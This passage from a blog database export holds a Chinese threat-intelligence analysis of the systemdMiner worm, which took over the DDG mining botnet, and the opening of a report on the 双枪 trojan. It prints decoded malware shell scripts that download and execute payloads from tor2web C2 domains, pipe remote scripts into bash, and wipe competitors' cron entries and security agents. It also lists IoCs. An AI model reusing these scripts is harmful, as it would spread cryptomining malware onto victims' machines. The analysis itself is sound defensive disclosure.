-RE \"(wget|curl)\" /etc/cron.*|cut -f 1 -d :|xargs rm -f\ngrep -RE \"(wget|curl)\" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\\|curl/d'\nrm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n x=/systemd-analyze\n y=/tmp/.systemd-analyze\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n sleep 6\n}\n\nif ! ps -p $(cat /tmp/.X11-lock); then\n d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net\nfi\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n x=/systemd-login\n y=/tmp/.systemd-login\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n sleep 5\n}\n\nu() {\n x=/systemd.sh\n (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash\n}\n\n\nif [ -f /tmp/.systemd-update ]; then\n kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update\n d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi\nfi\n\nu rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/scan_yarn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/04/scan_yarn_pcap.png","alt":"","title":"scan_yarn_pcap"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/yarn_exp.png","alt":"","title":"yarn_exp"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n x=/systemd-login-h\n y=/tmp/systemd\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n}\n\nif ! ps -p $(< /tmp/.X1M-unix); then\n d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io\nfi\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\nd() {\n x=/systemd-analyze\n y=/tmp/.systemd-analyze\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n sleep 6\n}\n\nif ! ps -p $(cat /tmp/.X11-lock); then\n d rapid7cpfqnwxodo.d2web.org\nfi\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/xmrig_str.png","alt":"","title":"xmrig_str"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/miner_conf.png","alt":"","title":"miner_conf"}],["code",{"code":"aptgetgxqs3secda.onion.ly\naptgetgxqs3secda.onion.pet\naptgetgxqs3secda.tor2web.fyi\naptgetgxqs3secda.onion.in.net\naptgetgxqs3secda.onion.mn\naptgetgxqs3secda.d2web.org\nrapid7cpfqnwxodo.tor2web.fyi\nrapid7cpfqnwxodo.onion.in.net\nrapid7cpfqnwxodo.onion.ly\nrapid7cpfqnwxodo.onion.pet\nrapid7cpfqnwxodo.onion.mn\nrapid7cpfqnwxodo.d2web.org\n"}],["code",{"code":"64315b604bd7a4b2886bba0e6e5176be\ndd8202ac5e6a2f6c8638116aa09694d7\n45e4d4671efcd1d9e502359c2fbbd6eb\naa83345c8cc3e7b41709f96bfb9844f8\n9f3edaa64e912661cd03f1aa9d342162\naa83345c8cc3e7b41709f96bfb9844f8\n4215f6306caa3b216295334538cad257\n50da2fb3920bfedfeb9e3a58ca008779\nceaee3da774cc712dc735d38194b396e\n8d9f26cd8358dce9f44ee7d30a96793f\n4bff1a92e6adcfe48c8b0f42b21a5af6"}]],"markups":[["strong"],["a",["href","__GHOST_URL__/fast-analyze-ddg-v3021-and-v3022/"]],["code"],["a",["href","https://www.musl-libc.org/"]]],"sections":[[1,"h2",[[0,[0],1,"1. 概述"]]],[1,"p",[[0,[],0,"在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 "],[0,[1],1,"威胁快讯"],[0,[],0," 一文中，我们提到了 DDG 最近在用的主 C2:"]]],[10,0],[1,"p",[[0,[],0,"2019.4.19 日凌晨，我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh，在 i.sh 脚本的最后新增了一段陌生的 Shell 代码，这段 Shell 代码会在失陷主机下载一套全新的恶意程序，之后就会脱离 DDG 的基础设施而独立运行、传播，在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后，DDG 的上述主 C2 随即下线停止服务。"]]],[1,"p",[[0,[],0,"鉴于这一套恶意程序的多个恶意组件均以 "],[0,[2],1,"systemd-<XXX>"],[0,[],0," 的形式命名，我们把它命名为 "],[0,[0],1,"systemdMiner"],[0,[],0," 。"],[0,[0],1,"systemdMiner"],[0,[],0," 的恶意程序具有蠕虫特性，会"],[0,[0],1,"利用 3 种手段传播自身"],[0,[],0,"，在入侵失陷主机后，最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。"]]],[1,"p",[[0,[],0,"在 DDG 上述主 C2 下线期间，DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制，DDG 整个僵尸网络还依然存活，每天活跃的 P2P Nodes 有 3000+。"]]],[1,"p",[[0,[],0,"直到 4.25 凌晨，DDG 才上线了 2 个新的 C2，并把版本号升级到 v4000，恢复如初。配置数据版本为 "],[0,[0],1,"CfgVer:25"],[0,[],0," 。DDG v4000 最新的配置数据中还会下发指令，篡改 hosts 文件，屏蔽 "],[0,[0],1,"systemdMiner "],[0,[],0,"的一组 C2 Domain。DDG v4000 的 2 个新 C2:"]]],[10,1],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同："]]],[3,"ul",[[[0,[],0,"DDG 的基础设施由 1 个主 C2 IP 和 2~3 个备用 C2 IP 构成，而 systemdMiner 的基础设施是架设在暗网并通过类似 "],[0,[0],1,"tor2web"],[0,[],0," 的服务映射到公网的一组 C2 Domain 以及矿池(Or Proxy) IP；"]],[[0,[],0,"DDG 当前的网络结构是一个非典型的 P2P 网络结构——一组 C2 IP 和典型 P2P 网络结构相结合，而 systemdMiner 的网络结构则是传统的 C/S 结构；"]],[[0,[],0,"DDG 的主样本由 Go 语言编写，从诞生至今始终如此，配合一个恶意 Shell 脚本 i.sh 来运行，而 systemdMiner 的主样本都是 C 语言编写，除此之外，二者的主样本在主要功能、实现方式等代码细节方面也完全不同；"]],[[0,[],0,"DDG 目前的二进制样本都加了标准 UPX 壳，而 systemdMiner 的二进制样本加的壳都是变形 UPX 壳，没有很直观的 UPX 特征；"]],[[0,[],0,"DDG 的传播方式主要是利用 SSH 弱口令和 Redis 未授权访问漏洞来传播，systemdMiner 则有 3 中完全不同的传播手段；"]],[[0,[],0,"DDG 的矿机程序由 XMRig 直接编译而来，没有加壳，XMR Wallet 就硬编码在矿机程序中，sysmtedMiner 的矿机程序对 XMRig 源码做了明显改动，加了变形 UPX 壳，还没有暴露 XMR Wallet。"]]]],[1,"p",[[0,[],0,"基于以上原因，我们认为是 "],[0,[0],1,"systemdMiner "],[0,[],0,"的团伙入侵了 DDG 的主 C2，并通过 DDG 的基础设施下发了自己的一套恶意程序，我们把这种黑吃黑的行为形容为"],[0,[0],1,"借鸡下蛋"],[0,[],0,"。"]]],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 的 3 种传播手段："]]],[3,"ol",[[[0,[],0,"利用 YARN 未授权访问漏洞入侵主机；"]],[[0,[],0,"利用 *nix 自动化运维工具(salt/ansible/chef-knife)横向传播；"]],[[0,[],0,"利用失陷主机本地保存的 SSH 密钥传播自身。"]]]],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 这一套恶意程序，涉及的多个二进制程序和 Shell 脚本，下文会一一剖析。各程序简介："]]],[3,"ul",[[[0,[0],1,"systemd-login-ddg"],[0,[],0,": 主样本，设置定时任务，横向传播以及 Download 其他样本并执行；"]],[[0,[0],1,"ddgs.i686"],[0,[],0,": 同上；"]],[[0,[0],1,"ddgs.x86_64"],[0,[],0,": 同上；"]],[[0,[0],1,"systemd-login"],[0,[],0,": 同上；"]],[[0,[0],1,"systemd-login-h"],[0,[],0,": 同上；"]],[[0,[0],1,"cron.sh"],[0,[],0,": 定时任务执行脚本，定期下载主样本并执行；"]],[[0,[0],1,"systemd.sh"],[0,[],0,": 更新主样本和矿机程序；"]],[[0,[0],1,"systemd-resolve"],[0,[],0,": 集成 YARN 未授权访问漏洞来横向传播；"]],[[0,[0],1,"systemd-analyze"],[0,[],0,": 矿机程序。"]]]],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 真正的 C2 服务器架设在暗网中，并通过一组类似 "],[0,[0],1,"tor2web"],[0,[],0," 的服务映射到公网，来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下："]]],[10,2],[1,"h2",[[0,[0],1,"2. DDG “下的蛋”——最后的配置数据和 Shell 脚本"]]],[1,"p",[[0,[],0,"DDG 最新的配置数据："]]],[10,3],[1,"p",[[0,[],0,"最后下发的 i.sh 脚本："]]],[10,4],[1,"p",[[0,[],0,"其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个，它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串，解码后是另外一段独立的 Shell 脚本："]]],[10,5],[1,"p",[[0,[],0,"这段 Shell 脚本，首先检查 "],[0,[2],1,"/tmp/.X1M-unix"],[0,[],0," 文件里的进程号对应的进程是否存活，文件不存在或者进程不存活则尝试通过以下 URL 下载 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 文件并执行："]]],[10,6],[1,"p",[[0,[],0,"除此之外， i.sh 脚本中，以前 DDG 样本的下载 URL "],[0,[2],1,"http://119.9.106.27:8000/static/3022/ddgs.$(uname -m)"],[0,[],0," 下到的文件也被替换成 "],[0,[0],1,"systemdMiner"],[0,[],0," 相关的恶意程序。"]]],[1,"p",[[0,[],0,"这样一来，就可以通过 DDG 的这一波更新，下发 3 个 "],[0,[0],1,"systemdMiner"],[0,[],0," 的恶意程序："]]],[3,"ol",[[[0,[],0,"systemd-login-ddg"]],[[0,[],0,"ddgs.i686"]],[[0,[],0,"ddgs.x86_64"]]]],[1,"h2",[[0,[0],1,"3. systemdMiner 系列样本分析"]]],[1,"h3",[[0,[0],1,"3.1 systemd-login-ddg"]]],[1,"p",[[0,[0],1,"systemd-login-ddg"],[0,[],0," 是 "],[0,[0],1,"systemdMiner"],[0,[],0," 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序，另外两个同时下发的 "],[0,[0],1,"ddgs.i686"],[0,[],0," 和 "],[0,[0],1,"ddsg.x86_64"],[0,[],0," 都是 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 的变种。顺着 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 的执行，后续还会涉及两个恶意程序，都是 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 的变种，区别在于部分 C2 Domain 设定不同，这些同类恶意程序有："]]],[3,"ul",[[[0,[],0,"systemd-login"]],[[0,[],0,"systemd-login-h"]]]],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 相关的所有二进制样本，都由 "],[0,[3],1,"musl-libc"],[0,[],0," 编译而成。并且都用变形的 UPX 加了壳，壳代码改动很多，变形 UPX 壳的 Magic Number 为 "],[0,[0],1,"0x7373622E"],[0,[],0,"(ASCII String: "],[0,[0,2],2,".bss"],[0,[],0," ) ："]]],[10,7],[1,"p",[[0,[],0,"脱壳后，恶意程序在刚开始就会检查 "],[0,[0],1,"LD_PRELOAD"],[0,[],0," 和 "],[0,[0],1,"PTRACE_TRACEME"],[0,[],0," ，用来对抗针对性地调试和沙箱："]]],[10,8],[1,"p",[[0,[],0,"然后，"],[0,[0],1,"systemd-login-ddg"],[0,[],0," 会删除自身文件，创建守护进程并把进程号写入 "],[0,[2],1,"/tmp/.X1M-unix"],[0,[],0," 文件，进程名为 "],[0,[0,2],2,"-bash"],[0,[],0,"："]]],[10,9],[1,"p",[[0,[],0,"接下来，"],[0,[0],1,"systemd-login-ddg"],[0,[],0," 会把下面的脚本保存到 "],[0,[2],1,"/tmp/systemd"],[0,[],0," 文件中："]]],[10,10],[1,"p",[[0,[],0,"上述脚本中的编码字串解码后如下："]]],[10,11],[1,"p",[[0,[],0,"如果当前用户是 "],[0,[0],1,"root"],[0,[],0," ，样本还会探测 "],[0,[2],1,"/lib/systemd/"],[0,[],0," 目录，并执行命令 "],[0,[2],1,"cp -f /tmp/systemd /lib/systemd/systemd-login"],[0,[],0,"，用于开机启动。"]]],[1,"p",[[0,[],0,"然后，执行命令 "],[0,[2],1,"mv -f /tmp/systemd ~/.systemd-login"],[0,[],0," 把 "],[0,[0],1,"systemd"],[0,[],0," 文件移动到用户主目录并隐藏。"]]],[1,"p",[[0,[],0,"上面用来开机启动执行的脚本文件 "],[0,[2],1,"/lib/systemd/systemd-login"],[0,[],0," ，会从 C2 服务器下载 "],[0,[0],1,"cron.sh"],[0,[],0," 文件并执行。"],[0,[0],1,"cron.sh"],[0,[],0," 是经过高度混淆的 Shell 脚本，原始内容如下："]]],[10,12],[1,"p",[[0,[],0,"解混淆后的真面目："]]],[10,13],[1,"p",[[0,[],0,"最后，"],[0,[0],1,"systemd-login-ddg"],[0,[],0," 会继续执行一系列经过 Base64 编码的 Shell 脚本。"]]],[1,"h4",[[0,[0],1,"3.1.1 Shell 脚本一：上报 C2，利用自动化运维工具传播"]]],[1,"p",[[0,[],0,"原始脚本经过 Base64 编码，解码后如下："]]],[10,14],[1,"p",[[0,[],0,"该脚本共有 3 个关键函数，作用分别是："]]],[3,"ol",[[[0,[0],1,"s1()"],[0,[],0," : 向 "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.fyi/slave"],[0,[],0," 上报失陷主机信息。把失陷主机的当前用户名、CPU 架构、主机名以及当前用户的 cron table 4 组信息，拼接接成一个字符串，经过 Base64 编码后，设置为 HTTP 请求的 "],[0,[0],1,"referer"],[0,[],0," vaule，以 HTTP GET 请求的方式发送到 C2；"]],[[0,[0],1,"s2()"],[0,[],0,": 从 C2 下载 "],[0,[0],1,"systemd-resolve"],[0,[],0," 文件并执行，"],[0,[0],1,"system-resolve"],[0,[],0," 集成了 YARN 未授权访问漏洞的 Exp，并以此传播；"]],[[0,[0],1,"s3()"],[0,[],0,": 利用 3 种 *nix 自动化运维工具 (ansible/salt/chef-knife) 和本机 SSH 密钥横向传播。横向传播用到的 Shell 脚本也经过了 Base64 编码，解码后如下："]]]],[10,15],[1,"h4",[[0,[0],1,"3.1.2 Shell 脚本二：设定 cron 任务"]]],[1,"p",[[0,[],0,"原始脚本同样经过 Base64 编码，解码后如下："]]],[10,16],[1,"p",[[0,[],0,"该脚本的主要功能，是新建 cron 配置文件 "],[0,[2],1,"/etc/cron.d/systemd"],[0,[],0,"，然后把 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 样本中落地的 "],[0,[2],1,"/lib/systemd/systemd-login"],[0,[],0," 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 "],[0,[0],1,"wget"],[0,[],0," 和 "],[0,[0],1,"curl"],[0,[],0," 命令，以此清除竞争对手的计划任务。"]]],[1,"h4",[[0,[0],1,"3.1.3 Shell 脚本三：杀掉竞争对手"]]],[1,"p",[[0,[],0,"原始脚本同样经过 Base64 编码，解码后如下："]]],[10,17],[1,"p",[[0,[],0,"该脚本的功能就是清除各种竞争对手。"]]],[1,"h4",[[0,[0],1,"3.1.4 Shell 脚本四：下载矿机并执行"]]],[1,"p",[[0,[],0,"原始脚本经过 Base64 编码，解码后如下："]]],[10,18],[1,"p",[[0,[],0,"此脚本会从 "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.fyi"],[0,[],0," 或 "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.fyi"],[0,[],0," 下载 "],[0,[0],1,"systemd-analyze"],[0,[],0," 文件并执行。"],[0,[0],1,"systemd-analyze"],[0,[],0," 正是基于 XMRig 改写的矿机程序。"]]],[1,"h4",[[0,[0],1,"3.1.5 Shell 脚本五：更新样本和恶意Shell脚本"]]],[1,"p",[[0,[],0,"原始脚本经过 Base64 编码，解码后如下："]]],[10,19],[1,"p",[[0,[0],1,"systemd-login-ddg"],[0,[],0," 会用此脚本检查样本更新标志文件 "],[0,[2],1,"/tmp/.systemd-update"],[0,[],0," ，据此来下载最新的 "],[0,[0],1,"systemd-login"],[0,[],0," 样本。随后会下载最新的恶意 Shell 脚本 "],[0,[0],1,"systemd.sh"],[0,[],0," 并执行。"]]],[1,"p",[[0,[],0,"接下来 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同，不同点在于下载 "],[0,[0],1,"systemd-login"],[0,[],0," 样本的 C2 Domain 多了一个 "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.io"],[0,[],0," 。"]]],[1,"h3",[[0,[0],1,"3.2. systemd-resolve"]]],[1,"p",[[0,[],0,"前文说过，"],[0,[0],1,"systemd-resolve"],[0,[],0," 集成了 YARN 未授权访问漏洞的 Exp，并以此入侵其他主机横向传播。"],[0,[0],1,"systemd-resolve"],[0,[],0," 的加壳、对抗分析特性都与 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 相同，不同的是把自身的守护进程命名为 "],[0,[0],1,"-rbash"],[0,[],0," 。"]]],[1,"p",[[0,[],0,"该样本主要用于内网传播，针对 "],[0,[2],1,"172.16.0.0/12"],[0,[],0," 、"],[0,[2],1,"192.168.0.0/16"],[0,[],0," 和 "],[0,[2],1,"10.0.0.0/8"],[0,[],0," 网段。样本会先检查当前主机的 LAN_IP，是否属于上述三个内网网段："]]],[10,20],[1,"p",[[0,[],0,"如果当前主机的 LAN_IP 属于上述三个网段，样本就会批量探测上述网段各主机的 "],[0,[0],1,"8088"],[0,[],0," 端口："]]],[10,21],[1,"p",[[0,[],0,"对于探测成功的目标主机，则利用以下 Payload 来传播自身："]]],[10,22],[1,"p",[[0,[],0,"Payload 中的 Shell 脚本同样经过 Base64 编码，解码后如下："]]],[10,23],[1,"p",[[0,[],0,"可以看到最终会在目标失陷主机中下载 "],[0,[0],1,"systemd-login-h"],[0,[],0," 并执行。这个 "],[0,[0],1,"systemd-login-h"],[0,[],0," 功能与上面分析过的 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 相同，此处不赘述。"]]],[1,"h3",[[0,[0],1,"3.3 systemd.sh"]]],[1,"p",[[0,[],0,"前文提到，"],[0,[0],1,"systemd-login-ddg"],[0,[],0," 在用来更新样本的第 5 个 Shell 脚本中，会下载 "],[0,[0],1,"systemd.sh"],[0,[],0," 并执行。在我们分析 "],[0,[0],1,"systemdMiner"],[0,[],0," 家族的早期，这个 "],[0,[0],1,"systemd.sh"],[0,[],0," 脚本没有实质性的内容："]]],[10,24],[1,"p",[[0,[],0,"大概在 2019.4.23 中午，背后的攻击者才把 "],[0,[0],1,"systemd.sh"],[0,[],0," 正式上线，最新的 "],[0,[0],1,"systemd.sh"],[0,[],0," 的内容："]]],[10,25],[1,"p",[[0,[],0,"可以看到其目的是下载 "],[0,[0],1,"systemd-analyze"],[0,[],0," 并执行。"]]],[1,"h3",[[0,[0],1,"3.4 systemd-analyze"]]],[1,"p",[[0,[],0,"前文提到， "],[0,[0],1,"systemdMiner"],[0,[],0," 目前的盈利手段是挖矿，而最终承担此任务的的矿机程序就是这个 "],[0,[0],1,"systemd-analyze"],[0,[],0," 。"]]],[1,"p",[[0,[],0,"此矿机程序也有与 "],[0,[0],1,"systemdMiner"],[0,[],0," 其他二进制程序相同的对抗分析的手段，不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串："]]],[10,26],[1,"p",[[0,[],0,"挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP，并非公共矿池，而且登录矿池所用的账号和密码均为 "],[0,[2],1,"\"x\""],[0,[],0,"，所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下："]]],[10,27],[1,"p",[[0,[],0,"经过排查，我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下："]]],[1,"p",[[0,[],0,"DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128一家俄罗斯冰淇淋公司ecosustain.infoA136.243.90.99European regional development Fund"],[1,[],0,0],[0,[],0,"资助的环保监测项目"]]],[1,"p",[[0,[],0,"上述两个都是正经网站的正经域名，所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。"]]],[1,"h2",[[0,[0],1,"4. 总结"]]],[1,"p",[[0,[],0,"综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析，在技术细节方面， "],[0,[0],1,"systemdMiner"],[0,[],0," 和 DDG 之间只发现一处相似点：DDG 的配置数据下发 URI 为 "],[0,[2],1,"/slave"],[0,[],0," ，"],[0,[0],1,"systemdMiner"],[0,[],0," 的 Report URI 也是 "],[0,[2],1,"/slave"],[0,[],0," ，但这远不足以说明这两个团伙之间有什么联系。更何况 "],[0,[0],1,"systemdMiner"],[0,[],0," 还把 DDG 当作竞争对手而清除，而 DDG 的配置数据中也通过 hosts 文件屏蔽了 "],[0,[0],1,"systemdMiner"],[0,[],0," 的 C2 Domain。"]]],[1,"p",[[0,[],0,"所以我们认为，DDG 的主 C2 被 "],[0,[0],1,"systemdMiner"],[0,[],0," 的团伙入侵了。得手之后，"],[0,[0],1,"systemdMiner"],[0,[],0," 背后的团伙篡改了 DDG 的恶意 Shell 脚本，并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序，从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。"]]],[1,"p",[[0,[],0,"在 systemdMiner 后续的更新中，还会把自己的矿机程序命名为类似于 DDG 样本的名字，比如 "],[0,[0],1,"6Tx3Wq"],[0,[],0,"(同于DDG 矿机程序文件名)或者"],[0,[0],1,"ddgs.4000 ，让人乍一看会误以为是 DDG 相关的恶意程序。"]]],[1,"h2",[[0,[0],1,"5. IoCs"]]],[1,"p",[[0,[0],1,"C&C Domain:"]]],[10,28],[1,"p",[[0,[0],1,"MD5:"]]],[10,29]],"ghostVersion":"3.0"} | 609619343819e50007633d39 |
post | null | 2021-05-08T04:56:39.000Z | 63873b9a8b1c1e0007f52fc7 | shuang-qiang-mu-ma-ji-chu-she-shi-geng-xin-ji-xiang-ying-chuan-bo-fang-shi-fen-xi | 0 | 2021-05-21T02:05:18.000Z | public | published | null | 2018-12-28T04:56:00.000Z | “双枪”木马的基础设施更新及相应传播方式的分析 | <h2 id="1-"><strong>1. 引述</strong></h2><p>2018.12.23 日，我们的 DNSMon 系统监测到以下三个异常的域名，经过研判这些域名属于 <strong>双枪</strong> 木马的网络基础设施。考虑到这些域名仅在最近才注册并启用，我们认为双枪木马近期在更新其基础设施，建议安全社区加以关注。</p><pre><code>white[.]gogo23424.com
www[.]src135.com
www[.]x15222.com
</code></pre><p><strong>双枪</strong> 木马是目前我们见过的最复杂的恶意程序之一，最早由 360 安全卫士团队披露，并对其木马工作原理做了详细的技术分析。双枪木马本身集 Rootkit 和 Bootkit(同时感染 MBR 和 VBR)于一身，还有诸多对抗措施。除此之外，双枪木马恶意活动相关的网络基础设施十分庞杂，感染路径繁琐、传播手段多样，涉及的黑灰产业务种类也五花八门。</p><p>之前对双枪木马的公开披露内容主要涉及双枪木马本身的工作原理、涉及的黑灰产业务以及部分溯源。对其传播过程的技术细节少有涉及。在双枪木马多种多样的传播方式中，按照我们的统计，与本次更新相关的这种传播方式是感染范围比较大的，并且之前未见披露。本文将着重分析本次双枪木马更新其网络基础设施的情况，以及相应的木马传播技术细节。</p><h3 id="1-1-"><strong>1.1 域名</strong></h3><p>通过分析上述 3 个域名的 IP 解析情况，我们发现 <code>white[.]gogo23424.com</code> 与以前用来传播<strong>双枪</strong>木马的恶意域名 <code>white.shougouji.top</code> 之间存在直接关联： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/IoC_relations_new.png" class="kg-image" alt loading="lazy"></figure><p>根据我们的 PassiveDNS 数据，可以看出这 3 个异常域名的解析时间分别如下： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/dns_rec_time_new-1.png" class="kg-image" alt loading="lazy"></figure><p>对应的注册时间信息分别如下表所示： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/domain_reginfo.png" class="kg-image" alt loading="lazy"></figure><p>值得注意这些域名的注册和解析时间都发生在近期，例如 <code>www[.]src135.com</code> 和 <code>www[.]x15222.com</code> ；而 <code>white[.]gogo23424.com</code> 虽然注册信息早在今年 5 月底，但是实际提供域名解析也是发生在近期。</p><h3 id="1-2-"><strong>1.2 样本</strong></h3><p>近期这些域名上的恶意代码，正在被大量下载。这些恶意代码的URL和 md5sum 如下：</p><pre><code>hxxp://www.src135.com:802/update.txt
- MD5: 94191b6c57b185289b2eb83108d076e4
hxxp://www.x15222.com:8002/update.txt
- MD5: 3f5473826dcef015dc06b83767744ea0
</code></pre><p>虽然下载上述两个 URL 看似得到两个后缀为 <strong>.txt</strong> 的文件，但其实这是两个不同的 JPG 图片，并且在不同的文件偏移处嵌入了 PE 文件。这两个PE文件，经过分析认定，实际为两个功能相近的 DLL 文件：</p><ul><li>有相同的导出函数 <strong>update()</strong> ；</li><li>有类似的执行流程，并且会向发出部分相同的网络请求。</li></ul><p>执行两个 DLL 文件，从抓包中可以观察到它们的网络行为序列分别如下： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/new_whiteshougouji.png" class="kg-image" alt loading="lazy" title="update1.dll"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/gogo23424.png" class="kg-image" alt loading="lazy" title="update2.dll"></figure><p>可以看出：</p><ul><li>两个 DLL 文件执行的过程中都会先请求访问域名 <strong>white.xxx.xxx</strong> ；</li><li>然后再向百度贴吧图片服务器请求两个图片 ；</li><li>最后再向 <strong>white.xxx.xxx</strong> 发出一个 POST 请求。</li></ul><h3 id="1-3-"><strong>1.3 上述新的恶意域名可以确认属于双枪木马的网络基础结构</strong></h3><p>根据我们以前对<strong>双枪</strong>木马部分传播流程的分析，我们认定这是<strong>双枪</strong>木马典型传播流程中的一个环节，这是因为新域名的网络行为与 <strong>双枪</strong> 木马有以下关联或者类似点：</p><ul><li><strong>域名解析有直接关联</strong>：如前所述，IP <strong>125.77.29.26</strong> 上同时提供了新旧恶意域名的解析</li><li><code>white[.]gogo23424.com</code> 与 <code>white.shougouji.top</code> 子域名相同，都是 <strong>white</strong>；</li><li>两个域名上的下载URL中的URI部分，也遵循了类似的命名规则( <strong>stat1.ashx / stat2.ashx / stat4.ashx</strong> )；</li><li>都将恶意 PE 文件嵌入到图片文件中；</li><li>都滥用了百度贴吧图片服务器承载恶意代码。</li></ul><p>结合我们对<strong>双枪</strong>木马该传播途径的分析，可以推断<strong>双枪</strong>木马背后的团伙在更新他们的网络基础设施。并且可以猜测 <strong>white[.]gogo23424.com</strong> 可能会部分替代以前的 C2 Domain <strong>white.shougouji.top</strong> ，用来承载 <strong>双枪</strong> 木马传播过程中的云端配置文件以及木马状态统计服务。这一点值得安全社区关注。</p><p>下分详细分析 <strong>双枪</strong> 木马本次更新相关的传播流程。</p><hr><h2 id="2-"><strong>2.双枪木马传播流程</strong></h2><h3 id="2-1-"><strong>2.1 概述</strong></h3><p>2018 年 9 月初，我们的 DNSMon 系统监测到 <code>*.dztworld[.]com</code> / <code>*.minding99[.]com</code> / <code>white.shougouji.top</code> 等异常域名。通过关联分析，我们定位到了异常域名背后的一批样本，对其中的典型样本(比如 MD5: <strong>cfe79da256441e45195d6f47049cb2a8</strong>)进行深入分析发现，这是一波主要用来传播<strong>双枪</strong>木马的恶意活动。整个恶意传播活动的典型特征有以下几个：</p><ul><li>多阶段样本执行，至少 4 个阶段的样本活动才最终下载到<strong>双枪</strong>木马的恶意驱动文件；</li><li>利用公共网络服务(比如<strong>百度贴吧图片服务器</strong>)承载云端配置文件和恶意样本；</li><li>对抗手段多样，检测运行环境上报云端、对抗杀软难以检测、变形 DES 加密算法对抗分析等等；</li><li>盗用数字签名；</li><li>涉及业务种类繁杂，除了传播<strong>双枪</strong>木马的恶意驱动程序，还传播游戏私服驱动，还会盗窃 Steam 账号、劫持 QQ 进行恶意推广。</li></ul><h3 id="2-2-"><strong>2.2 母体样本</strong></h3><p>后文以 MD5 为 <strong>cfe79da256441e45195d6f47049cb2a8</strong> 的母体样本为例进行分析。母体样本会访问下面 4 个 